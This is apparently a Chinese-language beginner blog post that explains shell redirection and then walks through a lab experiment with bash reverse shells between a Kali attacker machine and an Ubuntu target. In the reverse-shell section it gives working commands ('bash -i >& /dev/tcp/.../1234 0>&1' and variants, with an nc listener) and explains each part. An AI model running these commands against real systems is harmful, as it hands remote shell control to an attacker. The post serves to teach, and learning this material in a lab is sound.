前言
最近学了下shell脚本的编写,看见重定向想起前几天反弹shell的一道题,当时还看不太懂,学完重定向之后就有点能看懂了,写篇文章记录一下。
重定向
一般情况下,一个命令会有输入的地方,有输出的地方,有错误输出的地方,默认情况下一般都是你的终端。
一般情况下,每个 Unix/Linux 命令运行时会打开三个文件
1、标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。 2、标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。 3、标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。
但有时候需要我们将数据从其他文件中读入或者读出,这就需要我们进行重定向。
命令 | 说明 |
---|---|
command > file | 将输出重定向到 file。 |
command < file | 将输入重定向到 file。 |
command >> file | 将输出以追加的方式重定向到 file。 |
n > file | 将文件描述符为 n 的文件重定向到 file。 |
n >> file | 将文件描述符为 n 的文件以追加的方式重定向到 file。 |
n >& m | 将输出文件 m 和 n 合并。 |
n <& m | 将输入文件 m 和 n 合并。 |
<< tag | 将开始标记 tag 和结束标记 tag 之间的内容作为输入。 |
输出重定向:就是把要输出的内容放进另一个地方,比如文件
实例:
cal > 111.txt
# 顺便将 >& 也讲了
cal > 111.txt >& 222.txt
就会产生两个文件,都是同个内容
输入重定向:就是读取输入的内容换个地方,比如从文件中读取内容
实例:
cat < file.txt # 结果和 cat file.txt 一样,但是中间的过程是不一样的
其他网上搜吧
反弹shell
以下是很基础的反弹shell的理论知识和实验,老鸟可以绕道了。
参考文章:(你可以先看我的,再看参考文章哟~多篇结合着看就能看懂)
bash命令_linux反弹shell之bash命令解析_weixin_39529302的博客-CSDN博客 (这篇 bash -i 反弹 shell 写的很好很详细,也挺基础)
浅析Linux之bash反弹shell原理 _ 【IIS7站长之家】 (这篇是永远的神,讲的超级详细)
我们就直接开始实验,再一步步剖析 bash -i 命令反弹 shell 的原理
开始实验
环境:
攻击机:kali 192.168.121.132
靶机:Ubuntu 192.168.121.133
攻击机准备:在kali中,我们先查看自己的端口,用 ufw 命令
ufw status # 查看现在kali机开放了哪些端口,等会弹shell要用
# 如果没有能用的端口,那么我们就单独开放一个,比如:
ufw allow 1234
# 端口开启后,我们开始监听
nc -lvvp 1234
靶机:在Ubuntu中执行如下命令
bash -i >& /dev/tcp/192.168.121.132/1234 0>&1 # 将shell弹到攻击机的1234端口
此时kali机中就得到了反弹的shell
一步步剖析命令
bash -i >& /dev/tcp/192.168.121.132/1234 0>&1
bash -i :创建一个交互式的 bash ,先引用网上的一段话:交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的。为了帮助理解,我下面也有实验,不加 bash -i 进行连接,看看会发生什么。
/dev/tcp/192.168.121.132/1234:/dev/tcp 是一个特殊的虚拟设备,打开文件就等于建立了一个socket连接,读写内容进这个文件就等于在传输数据,所以意思就是和 192.168.121.132:1234 建立了TCP连接
>&[...]:相当于是 > [...] 2>&1 ,意义是将 错误输出的信息重定向到标准输出中(不知道为什么,好像规则就是这样)
比如:
cal >& 111.txt
# 上式等价于:
cal > 111.txt 2>&1 # 会将错误输出和标准输出均放入111.txt中
0>&1:当 >& 前后是数字时,规则和上面又不一样了,就是将输入重定向到输出
所以我们现在再来看一整条命令,我们还可以写成如下形式
bash -i > /dev/tcp/192.168.121.132/1234 0>&1 2>&1
# 同样能反弹shell
上面这串命令更好理解,我们创建一个bash交互环境,然后将输出重定向到 攻击机上,同时,我们将输入和错误输出也全部重定向到输出的文件中,也就是重定向到攻击机上 ,这样就把所有shell弹给攻击机了
进一步实验
实验中,发现不同用户执行bash命令,就会弹给kali不同用户的shell
先试试如下命令,没有放 bash -i,也就是没有交互式环境
>& /dev/tcp/192.168.121.132/1234 0>&1 2>&1
会发现在kali机中弹回了shell,但是由于没有bash交互环境,无法进行交互
再试试
bash -i > /dev/tcp/192.168.121.132/1234
会发现只有输出重定向到了攻击机中,而输入和错误输出均在靶机中,和上面剖析的是一样的
再试试下面这个
bash -i >& /dev/tcp/192.168.121.132/1234
# 相当于如下命令
bash -i > /dev/tcp/192.168.121.132/1234 2>&1
会发现,在攻击机中输入没有用,而在靶机中,我们输入命令,没有任何回显,回显会在攻击机中出现,也就是输出和错误输出均重定向到了攻击机中,而靶机中只有输入权限。
其他就不试了,只要理解了都是一样的。
tips:如果想要完全理解,必须要自己去实验!!!我在做实验后才知道原来实验前的我根本就不懂。还有,记得在实验开始前给靶机上快照,还好我有快照的习惯,shell弹回攻击机后,我输入了命令 reboot 结果靶机就崩坏了...
参考文章:
反弹失败参考文章: